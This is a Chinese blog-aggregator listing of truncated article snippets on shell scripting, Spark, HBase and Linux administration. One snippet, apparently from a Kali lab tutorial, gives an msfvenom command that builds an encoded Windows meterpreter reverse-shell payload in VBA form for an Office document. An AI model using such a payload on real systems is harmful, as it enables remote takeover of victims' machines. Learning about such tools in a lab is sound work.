文章浏览阅读382次。目录可以先用local模式读取一下步骤一、先将做测试的数据上传到HDFS二、开发scala代码standAlone模式查看HDFS上的文件步骤一、退出local模式,重新进入Spark-shell二、开发scala代码可以先用local模式读取一下步骤一......
admin 2024-01-24
文章浏览阅读627次。最近在跑任务,因为时间比较赶,一些任务都是凌晨完成,为了充分利用算力资源,所以采用了定时器运行脚本,让服务器持续工作,提高工作效率。之前_crontab shell脚本db2 command not found...
admin 2023-11-12
neo_will_mvp擅长Centos8.5 Debian12 Rocky9.2 麒麟,Shell项目实战代码,Python和GO实操生产代码,等方面的知识,neo_will_mvp关注kubernetes,容器,devops,linux,自动化,centos领域....
admin 2023-11-13
neo_will_mvp擅长Centos8.5 Debian12 Rocky9.2 麒麟,Shell项目实战代码,Python和GO实操生产代码,等方面的知识,neo_will_mvp关注kubernetes,容器,devops,linux,自动化,centos领域....
admin 2023-11-20
1.echo 基本脚本###--------------脚本1--------------------###!/bin/bashecho -e "hello\tworld" # \t Tab键echo -e "hello\bworld" # 光标左移一位,不打印oecho -e "hello\fworld" # 换行光标仍留在原来的位置echo -e "hello\nworld" # 换行echo......
admin 2023-10-13
一、课前声明1、本分享仅做学习交流,请自觉遵守法律法规!2、搜索:Kali与编程,学习更多网络攻防干货!二、知识点详解/usr /bin 目录下存放的是系统可以执行的二进制命令whereis命令与which是比较类似的,其可以查找到程序......
admin 2023-10-14
文章浏览阅读1k次。先看下xdg-open的说明:NAME xdg-open - opens a file or URL in the user’s preferred applicationSYNOPSIS xdg-open {file URL} xdg-open {--help --manual --version}DESCRIPTION xdg-open opens a file or URL in the user’s preferred applic_"sys......
admin 2023-11-11
刚刚学会了一个很实用的shell命令set -ex,在这里分享一下。set -e先说说set -e,这个参数的含义是,当命令发生错误的时候,停止脚本的执行。通常来说,我们会习惯于使用&&来实现这样的功能,比如:echo 1 && rm non-exis......
admin 2023-10-14
文章浏览阅读7.7k次。首先将office 2016.zip上传到win7虚拟机上,解压后,安装一下office。┌──(root?xuegod53)-[~]└─# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f vba-exe执行完成......
admin 2023-11-12
文章浏览阅读2k次。一、 Shell Here Document(内嵌文档/嵌入文档)Shell 还有一种特殊形式的重定向叫做“Here Document”,目前没有统一的翻译,你可以将它理解为“嵌入文档”“内嵌文档”“立即文档”。所谓文档,就是命令需要处......
admin 2024-01-22
iteye_5904擅长Javascript /Jquery / Bootstrap / Web,Php / Pear / Mysql / Node.js,Ubuntu / Mac / Github / Aptana / Nginx / Shell / Linux,等方面的知识...
admin 2023-11-12
在spark-shell中运行代码①能够使用正确的方式启动spark-shell;②能够在spark-shell中进行交互式编程。实验原理-> spark-shellspark-shell提供了简单的方式来学习 API,并且提供了交互的方式来分析数据。你可以输入一条语句,spark-she......
admin 2024-01-23
文章浏览阅读502次。目录Hbase Shell一,基本命令二,数据模型三,表的管理四,表数据的增删改查五,hbase数据迁移的importtsvHbase Shell启动[root@master conf]# hbase shellSLF4J: Class path contains multiple SLF4J bindings.SLF4J: Found binding in [jar:file:/usr/h......
admin 2024-01-24
文章浏览阅读2.6k次。1.前提条件机器已经配置ssh无密码登录2.配置文件elasticsearch.yml 把所有的都注释掉,只保留下面几个,不知道为何,请在每行前面加上一个空格。 cluster.name: bluedon node.name: C05 path.data: /data/es1 network.host: C05 disco......
admin 2024-01-24
1、环境cdh5.12.3spark2 2.3.02、需要本地地洞spark2-shell用于环境测试错误一:Error: A JNI error has occurred, please check your installation and try againException in thread "main" java.lang.NoClassDefFoundError: org/slf4j......
admin 2023-10-10
文章浏览阅读194次。1、编辑 spark-env.sh[victor@node1 spark]$ vim conf/spark-env.shHADOOP_CONF_DIR=/opt/module/hadoop-2.8.2/etc/hadoopYARN_CONF_DIR=/opt/module/hadoop-2.8.2/etc/hadoop尖叫提示:让Spark能够发现Hadoop配置文件,不分发,在y..._./spark-shell --master=yarn \ &......
admin 2024-01-24
功能说明: 启动或关闭shell内建指令。 语 法: enable[-n][-all][内建指令] 补充说明: 若要执行的文件名称与shell内建指令相同,可用enable-n来关闭shell内建指令。若不加-n参数,enable可重新启动关闭的指令。 参 数: -a 显示所有的......
admin 2023-11-12
友情链接申请要求: 不违法不降权 权重相当 请联系QQ:737597453